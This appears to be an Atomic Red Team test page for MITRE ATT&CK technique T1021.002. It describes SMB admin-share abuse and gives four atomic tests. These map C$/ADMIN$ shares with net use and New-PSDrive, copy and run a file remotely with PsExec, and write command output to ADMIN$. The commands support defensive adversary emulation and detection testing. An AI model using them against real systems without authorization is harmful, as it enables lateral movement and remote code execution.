T1021.002.md

T1021.002 - SMB/Windows Admin Shares

Description from ATT&CK

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.(Citation: Microsoft Admin Shares)

Atomic Tests

• Atomic Test #1 - Map admin share

• Atomic Test #2 - Map Admin Share PowerShell

• Atomic Test #3 - Copy and Execute File with PsExec

• Atomic Test #4 - Execute command writing output to local Admin Share

Atomic Test #1 - Map admin share

Connecting To Remote Shares

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
user_name	Username	String	DOMAIN\Administrator
share_name	Examples C$, IPC$, Admin$	String	C$
password	Password	String	P@ssw0rd1
computer_name	Target Computer Name	String	Target

Attack Commands: Run with command_prompt!

cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"

Atomic Test #2 - Map Admin Share PowerShell

Map Admin share utilizing PowerShell

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
share_name	Examples C$, IPC$, Admin$	String	C$
map_name	Mapped Drive Letter	String	g
computer_name	Target Computer Name	String	Target

Attack Commands: Run with powershell!

New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}

Atomic Test #3 - Copy and Execute File with PsExec

Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from https://docs.microsoft.com/en-us/sysinternals/downloads/psexec.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
command_path	File to copy and execute	Path	C:\Windows\System32\cmd.exe
remote_host	Remote computer to receive the copy and execute the file	String	\\localhost
psexec_exe	Path to PsExec	string	C:\PSTools\PsExec.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

#{psexec_exe} #{remote_host} -accepteula -c #{command_path}

Dependencies: Run with powershell!

Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})

Check Prereq Commands:

if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1} 

Get Prereq Commands:

Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_exe}" -Force

Atomic Test #4 - Execute command writing output to local Admin Share

Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
output_file	Remote computer to receive the copy and execute the file	String	output.txt
command_to_execute	Command to execute for output.	String	hostname

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1